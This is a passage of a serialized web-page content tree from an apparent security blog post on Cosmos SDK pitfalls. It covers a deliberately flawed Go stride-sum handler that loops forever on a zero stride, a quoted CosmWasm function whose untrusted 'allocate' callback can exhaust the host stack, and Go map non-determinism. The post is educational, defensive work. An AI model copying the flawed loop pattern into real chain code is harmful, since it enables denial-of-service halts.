",{"type":25,"tag":201,"props":77395,"children":77396},{"style":4925},[77397],{"type":31,"value":77398},"msgServer",{"type":25,"tag":201,"props":77400,"children":77401},{"style":220},[77402],{"type":31,"value":385},{"type":25,"tag":201,"props":77404,"children":77405},{"style":214},[77406],{"type":31,"value":77407},"SumWithStride",{"type":25,"tag":201,"props":77409,"children":77410},{"style":220},[77411],{"type":31,"value":4970},{"type":25,"tag":201,"props":77413,"children":77414},{"class":203,"line":531},[77415,77420,77425,77429,77434],{"type":25,"tag":201,"props":77416,"children":77417},{"style":246},[77418],{"type":31,"value":77419},"    goCtx",{"type":25,"tag":201,"props":77421,"children":77422},{"style":4925},[77423],{"type":31,"value":77424}," context",{"type":25,"tag":201,"props":77426,"children":77427},{"style":220},[77428],{"type":31,"value":80},{"type":25,"tag":201,"props":77430,"children":77431},{"style":4925},[77432],{"type":31,"value":77433},"Context",{"type":25,"tag":201,"props":77435,"children":77436},{"style":220},[77437],{"type":31,"value":547},{"type":25,"tag":201,"props":77439,"children":77440},{"class":203,"line":550},[77441,77446,77450,77455],{"type":25,"tag":201,"props":77442,"children":77443},{"style":246},[77444],{"type":31,"value":77445},"    msg",{"type":25,"tag":201,"props":77447,"children":77448},{"style":261},[77449],{"type":31,"value":11319},{"type":25,"tag":201,"props":77451,"children":77452},{"style":4925},[77453],{"type":31,"value":77454},"MsgSumWithStrideParams",{"type":25,"tag":201,"props":77456,"children":77457},{"style":220},[77458],{"type":31,"value":547},{"type":25,"tag":201,"props":77460,"children":77461},{"class":203,"line":563},[77462,77467,77471,77476,77480,77484],{"type":25,"tag":201,"props":77463,"children":77464},{"style":220},[77465],{"type":31,"value":77466},") (",{"type":25,"tag":201,"props":77468,"children":77469},{"style":261},[77470],{"type":31,"value":6077},{"type":25,"tag":201,"props":77472,"children":77473},{"style":4925},[77474],{"type":31,"value":77475},"MsgSumWithStrideResponse",{"type":25,"tag":201,"props":77477,"children":77478},{"style":220},[77479],{"type":31,"value":919},{"type":25,"tag":201,"props":77481,"children":77482},{"style":4925},[77483],{"type":31,"value":293},{"type":25,"tag":201,"props":77485,"children":77486},{"style":220},[77487],{"type":31,"value":275},{"type":25,"tag":201,"props":77489,"children":77490},{"class":203,"line":572},[77491,77496,77501,77506,77510,77514],{"type":25,"tag":201,"props":77492,"children":77493},{"style":246},[77494],{"type":31,"value":77495},"    sum",{"type":25,"tag":201,"props":77497,"children":77498},{"style":261},[77499],{"type":31,"value":77500}," :=",{"type":25,"tag":201,"props":77502,"children":77503},{"style":4925},[77504],{"type":31,"value":77505}," uint64",{"type":25,"tag":201,"props":77507,"children":77508},{"style":220},[77509],{"type":31,"value":298},{"type":25,"tag":201,"props":77511,"children":77512},{"style":426},[77513],{"type":31,"value":429},{"type":25,"tag":201,"props":77515,"children":77516},{"style":220},[77517],{"type":31,"value":4666},{"type":25,"tag":201,"props":77519,"children":77520},{"class":203,"line":590},[77521,77526,77530,77534,77538,77542,77546,77550,77554,77559],{"type":25,"tag":201,"props":77522,"children":77523},{"style":246},[77524],{"type":31,"value":77525},"    end",{"type":25,"tag":201,"props":77527,"children":77528},{"style":261},[77529],{"type":31,"value":77500},{"type":25,"tag":201,"props":77531,"children":77532},{"style":4925},[77533],{"type":31,"value":77505},{"type":25,"tag":201,"props":77535,"children":77536},{"style":220},[77537],{"type":31,"value":298},{"type":25,"tag":201,"props":77539,"children":77540},{"style":214},[77541],{"type":31,"value":10643},{"type":25,"tag":201,"props":77543,"children":77544},{"style":220},[77545],{"type":31,"value":298},{"type":25,"tag":201,"props":77547,"children":77548},{"style":246},[77549],{"type":31,"value":59025},{"type":25,"tag":201,"props":77551,"children":77552},{"style":220},[77553],{"type":31,"value":80},{"type":25,"tag":201,"props":77555,"children":77556},{"style":246},[77557],{"type":31,"value":77558},"Arr",{"type":25,"tag":201,"props":77560,"children":77561},{"style":220},[77562],{"type":31,"value":1086},{"type":25,"tag":201,"props":77564,"children":77565},{"class":203,"line":608},[77566,77570,77575,77579,77584,77588,77593,77597,77602,77606,77611,77615,77619,77623,77627,77631,77636],{"type":25,"tag":201,"props":77567,"children":77568},{"style":230},[77569],{"type":31,"value":4539},{"type":25,"tag":201,"props":77571,"children":77572},{"style":246},[77573],{"type":31,"value":77574}," idx",{"type":25,"tag":201,"props":77576,"children":77577},{"style":261},[77578],{"type":31,"value":77500},{"type":25,"tag":201,"props":77580,"children":77581},{"style":246},[77582],{"type":31,"value":77583}," msg",{"type":25,"tag":201,"props":77585,"children":77586},{"style":220},[77587],{"type":31,"value":80},{"type":25,"tag":201,"props":77589,"children":77590},{"style":246},[77591],{"type":31,"value":77592},"Start",{"type":25,"tag":201,"props":77594,"children":77595},{"style":220},[77596],{"type":31,"value":18723},{"type":25,"tag":201,"props":77598,"children":77599},{"style":246},[77600],{"type":31,"value":77601},"idx",{"type":25,"tag":201,"props":77603,"children":77604},{"style":261},[77605],{"type":31,"value":3208},{"type":25,"tag":201,"props":77607,"children":77608},{"style":246},[77609],{"type":31,"value":77610}," end",{"type":25,"tag":201,"props":77612,"children":77613},{"style":220},[77614],{"type":31,"value":18723},{"type":25,"tag":201,"props":77616,"children":77617},{"style":246},[77618],{"type":31,"value":77601},{"type":25,"tag":201,"props":77620,"children":77621},{"style":261},[77622],{"type":31,"value":16563},{"type":25,"tag":201,"props":77624,"children":77625},{"style":246},[77626],{"type":31,"value":77583},{"type":25,"tag":201,"props":77628,"children":77629},{"style":220},[77630],{"type":31,"value":80},{"type":25,"tag":201,"props":77632,"children":77633},{"style":246},[77634],{"type":31,"value":77635},"Stride",{"type":25,"tag":201,"props":77637,"children":77638},{"style":220},[77639],{"type":31,"value":327},{"type":25,"tag":201,"props":77641,"children":77642},{"class":203,"line":617},[77643,77648,77652,77656,77660,77664,77668,77672],{"type":25,"tag":201,"props":77644,"children":77645},{"style":246},[77646],{"type":31,"value":77647},"        sum",{"type":25,"tag":201,"props":77649,"children":77650},{"style":261},[77651],{"type":31,"value":16563},{"type":25,"tag":201,"props":77653,"children":77654},{"style":246},[77655],{"type":31,"value":77583},{"type":25,"tag":201,"props":77657,"children":77658},{"style":220},[77659],{"type":31,"value":80},{"type":25,"tag":201,"props":77661,"children":77662},{"style":246},[77663],{"type":31,"value":77558},{"type":25,"tag":201,"props":77665,"children":77666},{"style":220},[77667],{"type":31,"value":423},{"type":25,"tag":201,"props":77669,"children":77670},{"style":246},[77671],{"type":31,"value":77601},{"type":25,"tag":201,"props":77673,"children":77674},{"style":220},[77675],{"type":31,"value":13274},{"type":25,"tag":201,"props":77677,"children":77678},{"class":203,"line":625},[77679],{"type":25,"tag":201,"props":77680,"children":77681},{"style":220},[77682],{"type":31,"value":4861},{"type":25,"tag":201,"props":77684,"children":77685},{"class":203,"line":642},[77686,77690,77694,77698,77703,77708,77712,77717,77722],{"type":25,"tag":201,"props":77687,"children":77688},{"style":230},[77689],{"type":31,"value":18486},{"type":25,"tag":201,"props":77691,"children":77692},{"style":261},[77693],{"type":31,"value":8650},{"type":25,"tag":201,"props":77695,"children":77696},{"style":4925},[77697],{"type":31,"value":77475},{"type":25,"tag":201,"props":77699,"children":77700},{"style":220},[77701],{"type":31,"value":77702},"{",{"type":25,"tag":201,"props":77704,"children":77705},{"style":246},[77706],{"type":31,"value":77707},"Sum",{"type":25,"tag":201,"props":77709,"children":77710},{"style":220},[77711],{"type":31,"value":2957},{"type":25,"tag":201,"props":77713,"children":77714},{"style":246},[77715],{"type":31,"value":77716},"sum",{"type":25,"tag":201,"props":77718,"children":77719},{"style":220},[77720],{"type":31,"value":77721},"}, ",{"type":25,"tag":201,"props":77723,"children":77724},{"style":208},[77725],{"type":31,"value":77726},"nil\n",{"type":25,"tag":201,"props":77728,"children":77729},{"class":203,"line":659},[77730],{"type":25,"tag":201,"props":77731,"children":77732},{"style":220},[77733],{"type":31,"value":1187},{"type":25,"tag":34,"props":77735,"children":77736},{},[77737,77739,77744,77745,77751],{"type":31,"value":77738},"The provided Solidity / Cosmos snippets feature a public function that calculates the sums of an array using a provided starting ",{"type":25,"tag":115,"props":77740,"children":77742},{"className":77741},[],[77743],{"type":31,"value":77601},{"type":31,"value":8823},{"type":25,"tag":115,"props":77746,"children":77748},{"className":77747},[],[77749],{"type":31,"value":77750},"stride",{"type":31,"value":77752},". It is crucial to note that this function lacks robustness. A keen observer might have already identified that if the user supplies a stride value of 0, the code will result in an infinite loop.",{"type":25,"tag":34,"props":77754,"children":77755},{},[77756],{"type":31,"value":77757},"While an infinite loop is not ideal for Solidity, it may still be tolerable. The underlying blockchain on which a smart contract operates is responsible for monitoring the gas and computation budget. It will intervene and terminate the execution at a certain point. Interestingly, those types of \"unhandled error\" patterns are quite common occurrences in contracts.",{"type":25,"tag":34,"props":77759,"children":77760},{},[77761],{"type":31,"value":77762},"However, the same logic does not directly apply to Cosmos. In Cosmos, users are responsible for implementing the entire L1, and there is no underlying computation budget tracker that automatically stops code execution. As a result, any potential logic DoS or infinite loop can directly lead to the custom Cosmos L1 chain halting or stalling.",{"type":25,"tag":34,"props":77764,"children":77765},{},[77766],{"type":31,"value":77767},"This toy scenario captures the importance of attention to error handling, edge cases, and overall robustness in Cosmos.",{"type":25,"tag":40,"props":77769,"children":77771},{"id":77770},"real-world-examples",[77772],{"type":31,"value":77773},"Real-World Examples",{"type":25,"tag":34,"props":77775,"children":77776},{},[77777],{"type":31,"value":77778},"Now, let's examine a few real-world instances.",{"type":25,"tag":34,"props":77780,"children":77781},{},[77782,77784,77790,77791,77797,77799,77805,77807,77813],{"type":31,"value":77783},"In the case of ",{"type":25,"tag":71,"props":77785,"children":77788},{"href":77786,"rel":77787},"https://github.com/JumpCrypto/security-research/blob/e900a400f763075bdae161f4fd6e36d70da1d844/advisories/2023-003-cosmwasm.md",[75],[77789],{"type":31,"value":19190},{"type":31,"value":7966},{"type":25,"tag":115,"props":77792,"children":77794},{"className":77793},[],[77795],{"type":31,"value":77796},"CosmWasm",{"type":31,"value":77798}," bug, the helper method ",{"type":25,"tag":115,"props":77800,"children":77802},{"className":77801},[],[77803],{"type":31,"value":77804},"write_to_contract",{"type":31,"value":77806}," negligently calls the untrusted Wasm function ",{"type":25,"tag":115,"props":77808,"children":77810},{"className":77809},[],[77811],{"type":31,"value":77812},"\"allocate\"",{"type":31,"value":80},{"type":25,"tag":34,"props":77815,"children":77816},{},[77817],{"type":25,"tag":71,"props":77818,"children":77821},{"href":77819,"rel":77820},"https://github.com/CosmWasm/cosmwasm/blob/db426f9b15eabf18359df62878847bbaa7cb85ef/packages/vm/src/imports.rs#L409",[75],[77822],{"type":31,"value":77823},"Permalink for snippet",{"type":25,"tag":191,"props":77825,"children":77827},{"code":77826,"language":4486,"meta":7,"className":4487,"style":7},"fn write_to_contract\u003CA: BackendApi, S: Storage, Q: Querier>(\n    env: &Environment\u003CA, S, Q>,\n    input: &[u8],\n) -> VmResult\u003Cu32> {\n    let out_size = to_u32(input.len())?;\n    let result = env.call_function1(\"allocate\", &[out_size.into()])?;\n    let target_ptr = ref_to_u32(&result)?;\n    if target_ptr == 0 {\n        return Err(CommunicationError::zero_address().into());\n    }\n    write_region(&env.memory(), target_ptr, input)?;\n    Ok(target_ptr)\n}\n",[77828],{"type":25,"tag":115,"props":77829,"children":77830},{"__ignoreMap":7},[77831,77900,77948,77976,78005,78054,78128,78173,78196,78241,78248,78305,78324],{"type":25,"tag":201,"props":77832,"children":77833},{"class":203,"line":204},[77834,77838,77843,77847,77852,77856,77861,77865,77869,77873,77878,77882,77887,77891,77896],{"type":25,"tag":201,"props":77835,"children":77836},{"style":208},[77837],{"type":31,"value":21763},{"type":25,"tag":201,"props":77839,"children":77840},{"style":214},[77841],{"type":31,"value":77842}," write_to_contract",{"type":25,"tag":201,"props":77844,"children":77845},{"style":220},[77846],{"type":31,"value":1298},{"type":25,"tag":201,"props":77848,"children":77849},{"style":4925},[77850],{"type":31,"value":77851},"A",{"type":25,"tag":201,"props":77853,"children":77854},{"style":261},[77855],{"type":31,"value":5997},{"type":25,"tag":201,"props":77857,"children":77858},{"style":4925},[77859],{"type":31,"value":77860}," BackendApi",{"type":25,"tag":201,"props":77862,"children":77863},{"style":220},[77864],{"type":31,"value":919},{"type":25,"tag":201,"props":77866,"children":77867},{"style":4925},[77868],{"type":31,"value":23545},{"type":25,"tag":201,"props":77870,"children":77871},{"style":261},[77872],{"type":31,"value":5997},{"type":25,"tag":201,"props":77874,"children":77875},{"style":4925},[77876],{"type":31,"value":77877}," Storage",{"type":25,"tag":201,"props":77879,"children":77880},{"style":220},[77881],{"type":31,"value":919},{"type":25,"tag":201,"props":77883,"children":77884},{"style":4925},[77885],{"type":31,"value":77886},"Q",{"type":25,"tag":201,"props":77888,"children":77889},{"style":261},[77890],{"type":31,"value":5997},{"type":25,"tag":201,"props":77892,"children":77893},{"style":4925},[77894],{"type":31,"value":77895}," Querier",{"type":25,"tag":201,"props":77897,"children":77898},{"style":220},[77899],{"type":31,"value":8097},{"type":25,"tag":201,"props":77901,"children":77902},{"class":203,"line":226},[77903,77907,77911,77915,77920,77924,77928,77932,77936,77940,77944],{"type":25,"tag":201,"props":77904,"children":77905},{"style":246},[77906],{"type":31,"value":5343},{"type":25,"tag":201,"props":77908,"children":77909},{"style":261},[77910],{"type":31,"value":5997},{"type":25,"tag":201,"props":77912,"children":77913},{"style":261},[77914],{"type":31,"value":8650},{"type":25,"tag":201,"props":77916,"children":77917},{"style":4925},[77918],{"type":31,"value":77919},"Environment",{"type":25,"tag":201,"props":77921,"children":77922},{"style":220},[77923],{"type":31,"value":1298},{"type":25,"tag":201,"props":77925,"children":77926},{"style":4925},[77927],{"type":31,"value":77851},{"type":25,"tag":201,"props":77929,"children":77930},{"style":220},[77931],{"type":31,"value":919},{"type":25,"tag":201,"props":77933,"children":77934},{"style":4925},[77935],{"type":31,"value":23545},{"type":25,"tag":201,"props":77937,"children":77938},{"style":220},[77939],{"type":31,"value":919},{"type":25,"tag":201,"props":77941,"children":77942},{"style":4925},[77943],{"type":31,"value":77886},{"type":25,"tag":201,"props":77945,"children":77946},{"style":220},[77947],{"type":31,"value":7646},{"type":25,"tag":201,"props":77949,"children":77950},{"class":203,"line":278},[77951,77956,77960,77964,77968,77972],{"type":25,"tag":201,"props":77952,"children":77953},{"style":246},[77954],{"type":31,"value":77955},"    input",{"type":25,"tag":201,"props":77957,"children":77958},{"style":261},[77959],{"type":31,"value":5997},{"type":25,"tag":201,"props":77961,"children":77962},{"style":261},[77963],{"type":31,"value":8650},{"type":25,"tag":201,"props":77965,"children":77966},{"style":220},[77967],{"type":31,"value":423},{"type":25,"tag":201,"props":77969,"children":77970},{"style":4925},[77971],{"type":31,"value":4928},{"type":25,"tag":201,"props":77973,"children":77974},{"style":220},[77975],{"type":31,"value":15765},{"type":25,"tag":201,"props":77977,"children":77978},{"class":203,"line":311},[77979,77983,77987,77992,77996,78001],{"type":25,"tag":201,"props":77980,"children":77981},{"style":220},[77982],{"type":31,"value":385},{"type":25,"tag":201,"props":77984,"children":77985},{"style":261},[77986],{"type":31,"value":15259},{"type":25,"tag":201,"props":77988,"children":77989},{"style":4925},[77990],{"type":31,"value":77991}," VmResult",{"type":25,"tag":201,"props":77993,"children":77994},{"style":220},[77995],{"type":31,"value":1298},{"type":25,"tag":201,"props":77997,"children":77998},{"style":4925},[77999],{"type":31,"value":78000},"u32",{"type":25,"tag":201,"props":78002,"children":78003},{"style":220},[78004],{"type":31,"value":8790},{"type":25,"tag":201,"props":78006,"children":78007},{"class":203,"line":330},[78008,78012,78017,78021,78026,78030,78034,78038,78042,78046,78050],{"type":25,"tag":201,"props":78009,"children":78010},{"style":208},[78011],{"type":31,"value":4508},{"type":25,"tag":201,"props":78013,"children":78014},{"style":246},[78015],{"type":31,"value":78016}," out_size",{"type":25,"tag":201,"props":78018,"children":78019},{"style":261},[78020],{"type":31,"value":413},{"type":25,"tag":201,"props":78022,"children":78023},{"style":214},[78024],{"type":31,"value":78025}," to_u32",{"type":25,"tag":201,"props":78027,"children":78028},{"style":220},[78029],{"type":31,"value":298},{"type":25,"tag":201,"props":78031,"children":78032},{"style":246},[78033],{"type":31,"value":1461},{"type":25,"tag":201,"props":78035,"children":78036},{"style":261},[78037],{"type":31,"value":80},{"type":25,"tag":201,"props":78039,"children":78040},{"style":214},[78041],{"type":31,"value":10643},{"type":25,"tag":201,"props":78043,"children":78044},{"style":220},[78045],{"type":31,"value":43036},{"type":25,"tag":201,"props":78047,"children":78048},{"style":261},[78049],{"type":31,"value":4661},{"type":25,"tag":201,"props":78051,"children":78052},{"style":220},[78053],{"type":31,"value":461},{"type":25,"tag":201,"props":78055,"children":78056},{"class":203,"line":397},[78057,78061,78065,78069,78073,78077,78082,78086,78090,78094,78098,78102,78107,78111,78115,78120,78124],{"type":25,"tag":201,"props":78058,"children":78059},{"style":208},[78060],{"type":31,"value":4508},{"type":25,"tag":201,"props":78062,"children":78063},{"style":246},[78064],{"type":31,"value":10664},{"type":25,"tag":201,"props":78066,"children":78067},{"style":261},[78068],{"type":31,"value":413},{"type":25,"tag":201,"props":78070,"children":78071},{"style":246},[78072],{"type":31,"value":44030},{"type":25,"tag":201,"props":78074,"children":78075},{"style":261},[78076],{"type":31,"value":80},{"type":25,"tag":201,"props":78078,"children":78079},{"style":214},[78080],{"type":31,"value":78081},"call_function1",{"type":25,"tag":201,"props":78083,"children":78084},{"style":220},[78085],{"type":31,"value":298},{"type":25,"tag":201,"props":78087,"children":78088},{"style":267},[78089],{"type":31,"value":77812},{"type":25,"tag":201,"props":78091,"children":78092},{"style":220},[78093],{"type":31,"value":919},{"type":25,"tag":201,"props":78095,"children":78096},{"style":261},[78097],{"type":31,"value":4615},{"type":25,"tag":201,"props":78099,"children":78100},{"style":220},[78101],{"type":31,"value":423},{"type":25,"tag":201,"props":78103,"children":78104},{"style":246},[78105],{"type":31,"value":78106},"out_size",{"type":25,"tag":201,"props":78108,"children":78109},{"style":261},[78110],{"type":31,"value":80},{"type":25,"tag":201,"props":78112,"children":78113},{"style":214},[78114],{"type":31,"value":16384},{"type":25,"tag":201,"props":78116,"children":78117},{"style":220},[78118],{"type":31,"value":78119},"()])",{"type":25,"tag":201,"props":78121,"children":78122},{"style":261},[78123],{"type":31,"value":4661},{"type":25,"tag":201,"props":78125,"children":78126},{"style":220},[78127],{"type":31,"value":461},{"type":25,"tag":201,"props":78129,"children":78130},{"class":203,"line":437},[78131,78135,78140,78144,78149,78153,78157,78161,78165,78169],{"type":25,"tag":201,"props":78132,"children":78133},{"style":208},[78134],{"type":31,"value":4508},{"type":25,"tag":201,"props":78136,"children":78137},{"style":246},[78138],{"type":31,"value":78139}," target_ptr",{"type":25,"tag":201,"props":78141,"children":78142},{"style":261},[78143],{"type":31,"value":413},{"type":25,"tag":201,"props":78145,"children":78146},{"style":214},[78147],{"type":31,"value":78148}," ref_to_u32",{"type":25,"tag":201,"props":78150,"children":78151},{"style":220},[78152],{"type":31,"value":298},{"type":25,"tag":201,"props":78154,"children":78155},{"style":261},[78156],{"type":31,"value":4615},{"type":25,"tag":201,"props":78158,"children":78159},{"style":246},[78160],{"type":31,"value":10587},{"type":25,"tag":201,"props":78162,"children":78163},{"style":220},[78164],{"type":31,"value":3073},{"type":25,"tag":201,"props":78166,"children":78167},{"style":261},[78168],{"type":31,"value":4661},{"type":25,"tag":201,"props":78170,"children":78171},{"style":220},[78172],{"type":31,"value":461},{"type":25,"tag":201,"props":78174,"children":78175},{"class":203,"line":464},[78176,78180,78184,78188,78192],{"type":25,"tag":201,"props":78177,"children":78178},{"style":230},[78179],{"type":31,"value":13781},{"type":25,"tag":201,"props":78181,"children":78182},{"style":246},[78183],{"type":31,"value":78139},{"type":25,"tag":201,"props":78185,"children":78186},{"style":261},[78187],{"type":31,"value":4789},{"type":25,"tag":201,"props":78189,"children":78190},{"style":426},[78191],{"type":31,"value":4554},{"type":25,"tag":201,"props":78193,"children":78194},{"style":220},[78195],{"type":31,"value":327},{"type":25,"tag":201,"props":78197,"children":78198},{"class":203,"line":490},[78199,78203,78207,78211,78216,78220,78225,78229,78233,78237],{"type":25,"tag":201,"props":78200,"children":78201},{"style":230},[78202],{"type":31,"value":17239},{"type":25,"tag":201,"props":78204,"children":78205},{"style":4925},[78206],{"type":31,"value":17244},{"type":25,"tag":201,"props":78208,"children":78209},{"style":220},[78210],{"type":31,"value":298},{"type":25,"tag":201,"props":78212,"children":78213},{"style":4925},[78214],{"type":31,"value":78215},"CommunicationError",{"type":25,"tag":201,"props":78217,"children":78218},{"style":261},[78219],{"type":31,"value":4988},{"type":25,"tag":201,"props":78221,"children":78222},{"style":214},[78223],{"type":31,"value":78224},"zero_address",{"type":25,"tag":201,"props":78226,"children":78227},{"style":220},[78228],{"type":31,"value":15381},{"type":25,"tag":201,"props":78230,"children":78231},{"style":261},[78232],{"type":31,"value":80},{"type":25,"tag":201,"props":78234,"children":78235},{"style":214},[78236],{"type":31,"value":16384},{"type":25,"tag":201,"props":78238,"children":78239},{"style":220},[78240],{"type":31,"value":16921},{"type":25,"tag":201,"props":78242,"children":78243},{"class":203,"line":499},[78244],{"type":25,"tag":201,"props":78245,"children":78246},{"style":220},[78247],{"type":31,"value":4861},{"type":25,"tag":201,"props":78249,"children":78250},{"class":203,"line":522},[78251,78256,78260,78264,78268,78272,78276,78280,78285,78289,78293,78297,78301],{"type":25,"tag":201,"props":78252,"children":78253},{"style":214},[78254],{"type":31,"value":78255},"    write_region",{"type":25,"tag":201,"props":78257,"children":78258},{"style":220},[78259],{"type":31,"value":298},{"type":25,"tag":201,"props":78261,"children":78262},{"style":261},[78263],{"type":31,"value":4615},{"type":25,"tag":201,"props":78265,"children":78266},{"style":246},[78267],{"type":31,"value":36760},{"type":25,"tag":201,"props":78269,"children":78270},{"style":261},[78271],{"type":31,"value":80},{"type":25,"tag":201,"props":78273,"children":78274},{"style":214},[78275],{"type":31,"value":77056},{"type":25,"tag":201,"props":78277,"children":78278},{"style":220},[78279],{"type":31,"value":19873},{"type":25,"tag":201,"props":78281,"children":78282},{"style":246},[78283],{"type":31,"value":78284},"target_ptr",{"type":25,"tag":201,"props":78286,"children":78287},{"style":220},[78288],{"type":31,"value":919},{"type":25,"tag":201,"props":78290,"children":78291},{"style":246},[78292],{"type":31,"value":1461},{"type":25,"tag":201,"props":78294,"children":78295},{"style":220},[78296],{"type":31,"value":3073},{"type":25,"tag":201,"props":78298,"children":78299},{"style":261},[78300],{"type":31,"value":4661},{"type":25,"tag":201,"props":78302,"children":78303},{"style":220},[78304],{"type":31,"value":461},{"type":25,"tag":201,"props":78306,"children":78307},{"class":203,"line":531},[78308,78312,78316,78320],{"type":25,"tag":201,"props":78309,"children":78310},{"style":4925},[78311],{"type":31,"value":15835},{"type":25,"tag":201,"props":78313,"children":78314},{"style":220},[78315],{"type":31,"value":298},{"type":25,"tag":201,"props":78317,"children":78318},{"style":246},[78319],{"type":31,"value":78284},{"type":25,"tag":201,"props":78321,"children":78322},{"style":220},[78323],{"type":31,"value":4666},{"type":25,"tag":201,"props":78325,"children":78326},{"class":203,"line":550},[78327],{"type":25,"tag":201,"props":78328,"children":78329},{"style":220},[78330],{"type":31,"value":1187},{"type":25,"tag":34,"props":78332,"children":78333},{},[78334,78336,78342,78344,78349],{"type":31,"value":78335},"As users have complete control over ",{"type":25,"tag":115,"props":78337,"children":78339},{"className":78338},[],[78340],{"type":31,"value":78341},"allocate",{"type":31,"value":78343},", there is a possibility to call back ",{"type":25,"tag":115,"props":78345,"children":78347},{"className":78346},[],[78348],{"type":31,"value":77804},{"type":31,"value":78350}," repeatedly through other imported functions. This can result in the depletion of the host stack and ultimately lead to a DoS.",{"type":25,"tag":34,"props":78352,"children":78353},{},[78354,78356,78363],{"type":31,"value":78355},"Additional real-world examples include ",{"type":25,"tag":71,"props":78357,"children":78360},{"href":78358,"rel":78359},"https://github.com/cosmos/cosmos-sdk/issues/16676",[75],[78361],{"type":31,"value":78362},"not returning proper values for malformed txs",{"type":31,"value":80},{"type":25,"tag":26,"props":78365,"children":78367},{"id":78366},"order-was-the-dream-of-man",[78368],{"type":31,"value":78369},"Order Was the Dream of Man",{"type":25,"tag":34,"props":78371,"children":78372},{},[78373],{"type":31,"value":78374},"Different from solidity, which is a domain-specific language for smart contracts, Golang is not. Therefore, developers must be mindful of specific footguns. One notable instance is non-determinism.",{"type":25,"tag":34,"props":78376,"children":78377},{},[78378],{"type":31,"value":78379},"Consider a scenario where there is a requirement to emit an event for every entry in a map. It might be tempting to implement this as demonstrated below:",{"type":25,"tag":191,"props":78381,"children":78383},{"code":78382,"language":77248,"meta":7,"className":77249,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n    for key, value := range objectMap {\n        ctx.EventManager.EmitEvent(\n            sdk.NewEvent(\n                \"MapContext\",\n                sdk.NewAttribute(key, value),\n            )\n        )\n    }\n}\n",[78384],{"type":25,"tag":115,"props":78385,"children":78386},{"__ignoreMap":7},[78387,78420,78427,78456,78493,78522,78543,78555,78592,78600,78607,78614],{"type":25,"tag":201,"props":78388,"children":78389},{"class":203,"line":204},[78390,78394,78399,78403,78407,78411,78415],{"type":25,"tag":201,"props":78391,"children":78392},{"style":208},[78393],{"type":31,"value":1684},{"type":25,"tag":201,"props":78395,"children":78396},{"style":4925},[78397],{"type":31,"value":78398}," ObjectMap",{"type":25,"tag":201,"props":78400,"children":78401},{"style":208},[78402],{"type":31,"value":50746},{"type":25,"tag":201,"props":78404,"children":78405},{"style":220},[78406],{"type":31,"value":423},{"type":25,"tag":201,"props":78408,"children":78409},{"style":4925},[78410],{"type":31,"value":31150},{"type":25,"tag":201,"props":78412,"children":78413},{"style":220},[78414],{"type":31,"value":16907},{"type":25,"tag":201,"props":78416,"children":78417},{"style":4925},[78418],{"type":31,"value":78419},"string\n",{"type":25,"tag":201,"props":78421,"children":78422},{"class":203,"line":226},[78423],{"type":25,"tag":201,"props":78424,"children":78425},{"emptyLinePlaceholder":17},[78426],{"type":31,"value":496},{"type":25,"tag":201,"props":78428,"children":78429},{"class":203,"line":278},[78430,78434,78439,78443,78448,78452],{"type":25,"tag":201,"props":78431,"children":78432},{"style":208},[78433],{"type":31,"value":77384},{"type":25,"tag":201,"props":78435,"children":78436},{"style":214},[78437],{"type":31,"value":78438}," EmitEntries",{"type":25,"tag":201,"props":78440,"children":78441},{"style":220},[78442],{"type":31,"value":298},{"type":25,"tag":201,"props":78444,"children":78445},{"style":246},[78446],{"type":31,"value":78447},"objectMap",{"type":25,"tag":201,"props":78449,"children":78450},{"style":4925},[78451],{"type":31,"value":78398},{"type":25,"tag":201,"props":78453,"children":78454},{"style":220},[78455],{"type":31,"value":275},{"type":25,"tag":201,"props":78457,"children":78458},{"class":203,"line":311},[78459,78463,78467,78471,78475,78479,78484,78489],{"type":25,"tag":201,"props":78460,"children":78461},{"style":230},[78462],{"type":31,"value":4539},{"type":25,"tag":201,"props":78464,"children":78465},{"style":246},[78466],{"type":31,"value":7440},{"type":25,"tag":201,"props":78468,"children":78469},{"style":220},[78470],{"type":31,"value":919},{"type":25,"tag":201,"props":78472,"children":78473},{"style":246},[78474],{"type":31,"value":40222},{"type":25,"tag":201,"props":78476,"children":78477},{"style":261},[78478],{"type":31,"value":77500},{"type":25,"tag":201,"props":78480,"children":78481},{"style":230},[78482],{"type":31,"value":78483}," range",{"type":25,"tag":201,"props":78485,"children":78486},{"style":246},[78487],{"type":31,"value":78488}," objectMap",{"type":25,"tag":201,"props":78490,"children":78491},{"style":220},[78492],{"type":31,"value":327},{"type":25,"tag":201,"props":78494,"children":78495},{"class":203,"line":330},[78496,78500,78504,78509,78513,78518],{"type":25,"tag":201,"props":78497,"children":78498},{"style":246},[78499],{"type":31,"value":27670},{"type":25,"tag":201,"props":78501,"children":78502},{"style":220},[78503],{"type":31,"value":80},{"type":25,"tag":201,"props":78505,"children":78506},{"style":246},[78507],{"type":31,"value":78508},"EventManager",{"type":25,"tag":201,"props":78510,"children":78511},{"style":220},[78512],{"type":31,"value":80},{"type":25,"tag":201,"props":78514,"children":78515},{"style":214},[78516],{"type":31,"value":78517},"EmitEvent",{"type":25,"tag":201,"props":78519,"children":78520},{"style":220},[78521],{"type":31,"value":4970},{"type":25,"tag":201,"props":78523,"children":78524},{"class":203,"line":397},[78525,78530,78534,78539],{"type":25,"tag":201,"props":78526,"children":78527},{"style":246},[78528],{"type":31,"value":78529},"            sdk",{"type":25,"tag":201,"props":78531,"children":78532},{"style":220},[78533],{"type":31,"value":80},{"type":25,"tag":201,"props":78535,"children":78536},{"style":214},[78537],{"type":31,"value":78538},"NewEvent",{"type":25,"tag":201,"props":78540,"children":78541},{"style":220},[78542],{"type":31,"value":4970},{"type":25,"tag":201,"props":78544,"children":78545},{"class":203,"line":437},[78546,78551],{"type":25,"tag":201,"props":78547,"children":78548},{"style":267},[78549],{"type":31,"value":78550},"                \"MapContext\"",{"type":25,"tag":201,"props":78552,"children":78553},{"style":220},[78554],{"type":31,"value":547},{"type":25,"tag":201,"props":78556,"children":78557},{"class":203,"line":464},[78558,78563,78567,78572,78576,78580,78584,78588],{"type":25,"tag":201,"props":78559,"children":78560},{"style":246},[78561],{"type":31,"value":78562},"                